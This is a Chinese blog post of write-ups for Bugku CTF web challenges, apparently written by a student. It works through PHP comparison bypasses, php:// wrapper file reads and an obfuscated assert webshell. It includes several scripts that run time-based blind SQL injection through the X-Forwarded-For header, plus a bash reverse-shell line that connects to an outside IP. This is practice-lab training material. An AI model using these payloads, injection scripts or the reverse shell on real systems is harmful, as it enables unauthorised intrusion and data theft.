BugkuCtf-学习笔记

本文是关于bugku一些题的writeup,有些题目较简单或者脑洞奇大,所以未列出.遇到的知识点会在web基础分类里记录,如有问题,欢迎讨论!

(坑:正则,伪协议,fuzzy)

WEB

矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

科学计数法和1xxx都能绕过
此外访问index.php可以发现彩蛋
payload:

  • ?num=1xxx
  • ?num=1^1
  • index.php?what=flag

域名解析

虽然谁都想得到直接修改host就可以做出来这道题,但是为什么访问直接ip还不行了?
后来发现修改host然后访问域名和直接访问ip,对比两者后来发现如果在http中host字段有区别.一个host是域名,一个host是ip,所以若改host为 flag.baidu.com,一样可以得到flag

QQ截图20190808215152.png

你必须让他停下

抓包,curl都行

本地包含

与其说是本地包含,不如说是命令注入.?hello=);phpinfo();//直接能成功
file() 将文件作为一个数组返回.数组中的每个单元都是文件中相应的一行,包括换行符在内.
payload:?hello=);print_r(file("./flag.php"));// (print_r() 函数用于打印变量,以更容易理解的形式展示。)

变量1

知识点查看这篇文章php变量$与$$
payload:?args=GLOBALS

flag在index里

php伪协议
?file=php://filter/read=convert.base64-encode/resource=index.php

备份是个好习惯

按标题的意思,过一下脚本即可

QQ截图20190731204305.png
分析源码:

include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag."取得flag";
}
?>

取?后面的字符,然后再取除了?的字符,然后将key->'',把查询字符串解析到变量中,最后考察了MD5的漏洞
QQ截图20190731235557.png

QQ截图20190731235510.png

never give up

查看页面后啥也没有,根据源码提示,访问1p.html,然后发现被跳转到其他页面,所以在此可以采用直接抓包和view-source获取到1p.html的源码

QQ截图20190802125454.png

接着base64,然后url解码

";if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}

?>

发现一堆花里胡哨的操作后,有个f4l2a3g.txt,直接访问,ok再见了您嘞!

welcome to bugkuctf

这道题考的知识点比较多,吧很多知识组合起来了.先看源码吧:

QQ截图20190802150753.png

重点是file_get_contents($user,'r')这里,用php://input流能控制输入内容,在body中传入参数,根据提示,使其等于welcome to the bugkuctf就可以进入if语句
QQ截图20190802150819.png

接着发现输出hello friend!并不是提示的那样,说明不完全是index的源码,不过可以先放着,跟着语句往下,发现他包含了一个file文件,且直接include,没有过滤,于是可以直接使用php://filter读取任意文件源码,先读取hint吧,发现一个Flag类.什么东西????

class Flag{//flag.php    
public $file;    
public function __tostring(){    
    if(isset($this->file)){    
        echo file_get_contents($this->file);   
        echo "<br>";  
    return ("good");  
    }    
}    
}    

意思就是读取一个文件名为file值的内容并输入,又看提示,因该是需要读取flag.php.
尝试在url上直接读取flag.php,发现乱码,记得前面引出过index的问题,现在在读取一下index

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  
  
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  
  
?>  
  
<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

推断可得,index源码读取完了,而且发现有个关于flag的正则表达式,也就解释了刚刚的问题.
然后呢,我们继续往下,发现最后输出了password???观察发现password我们可以任意输入,我们的目的是读取flag.php的内容,当时又不能出现flag在file里面,so......(待更)

你从哪里来(有坑)

按道理这个没什么说的,但是改referer头的时候http不行???为什么啊?https直接就行了...我看我自己的站referer没有https,就用的http啊,,,先留一个坑,以后再说吧,如果你知道原因的话欢迎讨论哦哦.

QQ截图20190802200721.png

QQ截图20190802200721.png

看吧!版娘就直接用的http啊,搞不懂!

QQ截图20190802200832.png

QQ截图20190802201034.png

web8

看到php就是一把梭,一个代码审一天,和前面的file_get_contents的.就直接上payload!!
payload:
POST /web8/index.php?ac=123&fn=php://input
然后再post 与ac相同的值123

QQ截图20190802203154.png

秋名山老司机

此题帮助了我学习python,果然python很精简啊.几行代码就能实现功能,而且第三方库太多了,贼方便
关于这道题没什么说了,会写就会做,直接上脚本.

import requests
from bs4 import BeautifulSoup
 
url = "http://123.206.87.240:8002/qiumingshan/"
s = requests.session()
r = s.get(url)
r.encoding = 'utf-8'
soup = BeautifulSoup(r.text,'html.parser')
num = soup.div.text
final = {'value':eval(num.replace('=?;',''))}
print(final)
r = s.post(url,data = final)
r.encoding = 'utf-8'
print(r.text)

要注意的是,要用session对象才行,不然在post的时候,会重新刷新数据
另外value这个变量名是他提示出来的

QQ截图20190804174331.png

速度要快

和上题考的都是脚本的编写

import requests
import base64
url="http://123.206.87.240:8002/web6/"
r=requests.session()
headers=r.get(url).headers
 
mid=base64.b64decode(headers['flag'])
mid=mid.decode()#为了下一步用split不报错,b64decode后操作的对象是byte类型的字符串,而split函数要用str类型的
 
flag = base64.b64decode(mid.split(':')[1])#:后的值
data={'margin':flag}
print (r.post(url,data).text)

flag.php

第一步,我佛了.需要get传入hint=任意值才能往下走...不说了,把这道题当作源码审计就行了,是看别人wp才知道的,不然一直卡在第一关...佛了
show_source后,可以看到一个cookie和一个反序列化,还是很简单的

QQ截图20190804180532.png

但是还有一个坑呢在key这里,key在后面才被赋值,所以在if的时候key应该为""才对,所以用key=""序列化一下,抓包改cookie即可
QQ截图20190804181244.png

QQ截图20190804182924.png

文件包含2

?php?被过滤了,普通的php标记不能用,得换一个标记.这里使用<script>标记(必须在php5及一下才能被解析),还有那些标记在我的web基础文章里面有谈到
payload:<script language="php">echo 1;system("ls");phpinfo();</script>
保存为jpg,然后文件包含进去即可
QQ截图20190805152153.png

md5 collision

源码:

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

在我web基础里md5里面提到过该问题,有现成的payload,每一个都是0e开头,所以都是可以的.一把梭!
payload:?a=s878926199a

过狗一句话

我做的时候还在想题目到底啥意思,什么新型的一句话吗?不对啊,看最后就是普通的php啊.哈哈哈哈,后来想半天才知道这个狗是安全狗的意思哈哈哈哈,牛皮.

<?php $poc="a#s#s#e#r#t"; $poc_1=explode("#",$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET['s']) ?>

仔细看看便知道了.首先把assert拆分,然后再组合起来.断言函数会把里面的字符串当作php执行,所以后面就没说的了.
不过本人做的时候,flag已经被人删除了(19/8/1)

PHP_encrypt_1

想写解码也写不出来啊,上别人的decrypt...

<?php
function decrypt($str) {
    $mkey = "729623334f0aa2784a1599fd374c120d";
    $klen = strlen($mkey);
    $tmp = $str;
    $tmp = base64_decode($tmp);  // 对 base64 后的字符串 decode
    $md_len = strlen($tmp); //获取字符串长度
    for ($i=0; $i < $md_len; $i++) {  //  取二次加密用 key;
        if ($x == $klen)  // 数据长度是否超过 key 长度检测
            $x = 0;
        $char .= $mkey[$x];  // 从 key 中取二次加密用 key
        $x+=1;
    }
    $md_data = array();
    for($i=0;$i<$md_len;$i++) { // 取偏移后密文数据
        array_push($md_data, ord($tmp[$i]));
    }
    $md_data_source = array();
    $data1 = "";
    $data2 = "";
    foreach ($md_data as $key => $value) { // 对偏移后的密文数据进行还原
        $i = $key;
        if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}
        $dd = $value;
        $od = ord($mkey[$i]);
        array_push($md_data_source,$dd);
        $data1 .= chr(($dd+128)-$od);  // 第一种可能, 余数+128-key 为回归数
        $data2 .= chr($dd-$od);  // 第二种可能, 余数直接-key 为回归数
    }
    print "data1 => ".$data1."<br>\n";
    print "data2 => ".$data2."<br>\n";
}
$str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
decrypt($str);
?>

cookies欺骗

首先要发现url上的规律,filename后面是一个base64加密的文件名,line为返回文件中行号为line值的内容,所以上脚本

import requests

url = "http://123.206.87.240:8002/web11/index.php?line="
s = requests.session()
for i in range(1,20):
    r = s.get(url+str(i)+"&filename=aW5kZXgucGhw")
    r.encoding = 'utf-8'
    print(r.text)

跑出来的index的源码

error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

然后我们让margin=margin,即可让keys.php包含进来.
QQ截图20190808231857.png

江湖魔头

成绩单

payload:id=0' union select 1,group_concat(skctf_flag),3,4 from fl4g#

login1(SKCTF)

知识点是基于约束的sql攻击,注册用户名admin[很多空格]1,然后登陆admin即可获得flag
主要是再执行select的时候,sql并不会截断字段,所以再检查是否重名的时候,不会检查出与admin相同,但是再insert的时候,则会截断字符.

INSERT INTO注入

看源码,没有过滤,注入点为xff字段.没有回显,此外发现过滤了,号

error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

没有回显怎么说?来一手时间盲注.

QQ截图20190809185748.png

常见的sql注入顺序,先构造payload,if用不了,就用select case语句.
select case when (条件) then code else code end;
substr则采用from的形式代替
substr(string FROM position for length)

先手工构造测试能不能成功,原语句为:insert into client_ip (ip) values ('$ip')
payload:
1'+(select case when (substr(database() from 1 for 1)='w') then sleep(5) else 1 end)+'
查询语句为
insert into client_ip (ip) values ('1'+(select case when (substr(database() from 1 for 1)='w') then sleep(5) else 1 end)+'')

QQ截图20190809194703.png

在本地测试中成功延长了返回时间,故语法正确.在burp上测试也是直接成功了,所以终于要上脚本了啊!
先爆数据库名吧

import requests

dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_'
payload_db = "1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(5) else 1 end)+'"
url = 'http://123.206.87.240:8002/web15/'
db_name = ''
postion = 1
for i in range(1,20): #数据库名长度
        for j in dic:
            try:
                headers = {'x-forwarded-for':payload_db.format(i,j)}
                res = requests.get(url,headers=headers,timeout=4) #如果超时则进入except
                if(i>postion):
                    exit(print("it is seemed that db_name has came out..."))
            except requests.exceptions.ReadTimeout:
                postion += 1
                print('payload :'+ payload_db.format(i,j)+'has been successful!')
                last = db_name
                db_name += j
                print(db_name)
                break

QQ截图20190809202904.png

再猜测数据表数量和表名,同样的方法,编程思路不变,改一下payload就行.

import requests

dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_'
payload_tb_num = "1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA='{0}')='{1}' then sleep(5) else 1 end)+'"
payload_tb_name_len = "1'+(select case when (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) = '{2}' then sleep(5) else 1 end)+'"
payload_tb_name = "1'+(select case when (substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) from {2} for 1)) = '{3}' then sleep(5) else 1 end)+'"

url = 'http://123.206.87.240:8002/web15/'
db_name = 'web15'
tb_num = 0

for i in range(1,50):
    try:
        headers = {'x-forwarded-for':payload_tb_num.format(db_name,str(i))}
        res = requests.get(url,headers=headers,timeout=5)
    except requests.exceptions.ReadTimeout:
        tb_num = i
        print(str(i)+' tables is found')
        break #猜测数量

len = 0
for i in range(tb_num):
    for j in range(50):
        try:
             headers = {'x-forwarded-for':payload_tb_name_len.format(db_name,i,j)}
             res = requests.get(url,headers=headers,timeout=5)
        except requests.exceptions.ReadTimeout:
             len = j
             break

    tb_name = ''
    print('cracking table '+ str(i+1))
    for k in range(1,len + 1):
        for j in dic:
            try:
                headers = {'x-forwarded-for':payload_tb_name.format(db_name,i,k,j)}
                res = requests.get(url,headers=headers,timeout=5)
            except requests.exceptions.ReadTimeout:
                tb_name += j
                print(tb_name)
                break

QQ截图20190809212330.png

找到两个表,一个为client_ip 一个为 flag.最后一步爆破出flag的字段

import requests

url = 'http://123.206.87.240:8002/web15/'
dic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_'

target_db = 'web15'
target_tb = 'flag'
col_num = 0
payload_col_num = "1'+(select case when (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}') = '{2}' then sleep(6) else 1 end)+'1"
payload_col_len = "1'+(select case when (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) = '{3}' then sleep(6) else 1 end)+'1"
payload_col_name = "1'+(select case when (substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) from {3} for 1)) = '{4}' then sleep(6) else 1 end)+'1"
for i in range(50):
    try:
        headers = {'x-forwarded-for':payload_col_num.format(target_db,target_tb,i)}
        res = requests.get(url,headers=headers,timeout=5)
    except requests.exceptions.ReadTimeout:
        col_num = i
        print('col_num=' + str(col_num))
        break
len = 0
for i in range (col_num):
    for j in range(50):
        try:
            headers = {'x-forwarded-for':payload_col_len.format(target_db,target_tb,i,j)}
            res = requests.get(url,headers=headers,timeout=5)
        except requests.exceptions.ReadTimeout:
            len = j
            print('No.' + str(i+1) + ' length : ' + str(len))
            break
    col_name = ''
    for k in range(1,len + 1):
        for j in dic:
            try:
                headers = {'x-forwarded-for':payload_col_name.format(target_db,target_tb,i,k,j)}
                res = requests.get(url,headers=headers,timeout=5)
            except requests.exceptions.ReadTimeout:
                col_name += j
                print(col_name)
                break

QQ截图20190809213203.png

得到flag表中有flag这一个字段,遂继续

import requests
import sys

sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://123.206.87.240:8002/web15/'
flag = ''
for i in range(1, 40):
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = sql.format(i, chr(ch))
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            flag += chr(ch)
            print(flag)
            break

最后...

QQ截图20190809222438.png

其实有时根据时间的话,精度可能不高,会出现跑错的情况
eg.

QQ截图20190809222650.png

QQ截图20190809222656.png
要修改timeout和sleep时间合适才行

这是一个神奇的登陆框

1" 用户名这样输入有回显,不说了,sqlmap可以直接爆

多次

login2(SKCTF)

在http返回头的地方有个tips,解码后,提示码如下

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

仔细分析可得,此处存在逻辑漏洞.因为它依靠返回row的个数判断,所以我们可以构造联合查询,返回我自定义的列,首先在本地测试

QQ截图20190810002939.png

根据题目提示的代码,猜想了后台代码.大概就是这个样子,然后因为联合查询返回我们自定义的列,所以password哪一个字段,我们可以返回我们自己值.因为始终要返回一个我们输入的行,所以第一个!empty(row)就同通过了,然后第一个字段随便输,我们在第二个字段输入自定义的password的md5值即可.最后payload:

QQ截图20190810004031.png

这样就登录进去了

QQ截图20190810061542.png

然后发现是一个命令注入的问题,但是观察得到输出并不是我们想要的,这个时候有两个思路,一个是输入被过滤了,另外一个是输出被过滤了,但是我们可以基于sql时间盲注一样,在输入框中输入1|sleep 5,结果的确等待了5s才返回结果,后来又测试了1 | whoami && sleep 5,这个命令,发现同样等待了5s,说明whoami执行成功了,所以结论是输出被过滤了,所以我们采用反弹shell的方式可以轻松解决.
payload:
1 |bash -i >& /dev/tcp/111.231.198.1/7777 0>&1

QQ截图20190810061513.png

此外还有高人发明了基于时间的shell盲注,牛皮!思路虽然不难,但是想法新奇!鄙人就不做研究了.

login3(SKCTF)

import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://123.206.31.85:49167/index.php"
r=requests.session()
 
resutlt=""
for i in range(30):
    fla = 0
    for j in str_all:
        playlod="admin'^(ascii(mid(database()from({0})))<>{1})^0#".format(str(i),ord(j))
        data = {
            "username": playlod,
            "password": "123"
        }
        s=r.post(url,data)
        print(playlod+"     | name is :"+resutlt)
        if "error" in s.text:
            resutlt+=j

后面就很玄学了,字符串拼接函数因为有逗号不行,元数据也不能用,那还咋办?
就连官方都没给出原因,直接发了一个payload,大概这就是直觉吧!

QQ截图20190810075247.png

我们就照着做把,把脚本改一改就行了

import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://123.206.31.85:49167/index.php"
r=requests.session()
 
resutlt=""
for i in range(30):
    fla = 0
    for j in str_all:
        playlod="admin'^(ascii(mid((select(password)from(admin))from({0})))<>{1})^0#".format(str(i),ord(j))
        data = {
            "username": playlod,
            "password": "123"
        }
        s=r.post(url,data)
        print('testing....'+ playlod+'        |result :'+resutlt)
        if "error" in s.text:
            resutlt+=j

跑出来的字段是一个MD5值,解密后再登录就行了

QQ截图20190810081147.png

login4

等等吧,cbc字节翻转攻击做不来...待更

字符?正则?

preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);

payload:?id=key1key22222key:/3/keyz;

代码审计

很简单的代码审计,就是利用函数漏洞等等,看一下就好

extract变量覆盖

<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'flag{xxx}';
}
else
{
echo'Oh.no';
}
}
?>

payload:

  • ?shiyan
  • ?shiyan=&flag=
  • ?shiyan=2&flag=php://input (postdata: 2)

strcmp比较字符串

<?php
$flag = "flag{xxxxx}";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
//比较两个字符串(区分大小写)
die('Flag: '.$flag);
else
print 'No';
}
?>

payload:?a[]=1

urldecode二次编码绕过

<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("
not allowed!
");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "
Access granted!
";
echo "
flag
";
}
?>

payload:?id=hacker%2544J

md5()函数

<?php
error_reporting(0);
$flag = 'flag{test}';
if (isset($_GET['username']) and isset($_GET['password'])) {
if ($_GET['username'] == $_GET['password'])
print 'Your password can not be your username.';
else if (md5($_GET['username']) === md5($_GET['password']))
die('Flag: '.$flag);
else
print 'Invalid password';
}
?>

payload:详见我的web基础有详细解答

数组返回NULL绕过

<?php
$flag = "flag";

if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric';
else if (strpos ($_GET['password'], '--') !== FALSE)
die('Flag: ' . $flag);
else
echo 'Invalid password';
}
?>

payload:?password[]=2

十六进制与数字比较

<?phpf
error_reporting(0);
function noother_says_correct($temp)
{
$flag = 'flag{test}';
$one = ord('1'); //ord — 返回字符的 ASCII 码值
$nine = ord('9'); //ord — 返回字符的 ASCII 码值
$number = '3735929054';
// Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
// Disallow all the digits!
$digit = ord($temp{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
// Aha, digit not allowed!
return "flase";
}
}
if($number == $temp)
return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
?>

原因还不清楚,不过其中$temp{$i}始终为null,ord返回0,所以可以绕过.

QQ截图20190810213515.png

payload:?password=0xdeadc0de

不做了,截图一下2333

QQ截图20190810214708.png

本文链接:

http://chrisyy.top/index.php/archives/8/
1 + 4 =
快来做第一个评论的人吧~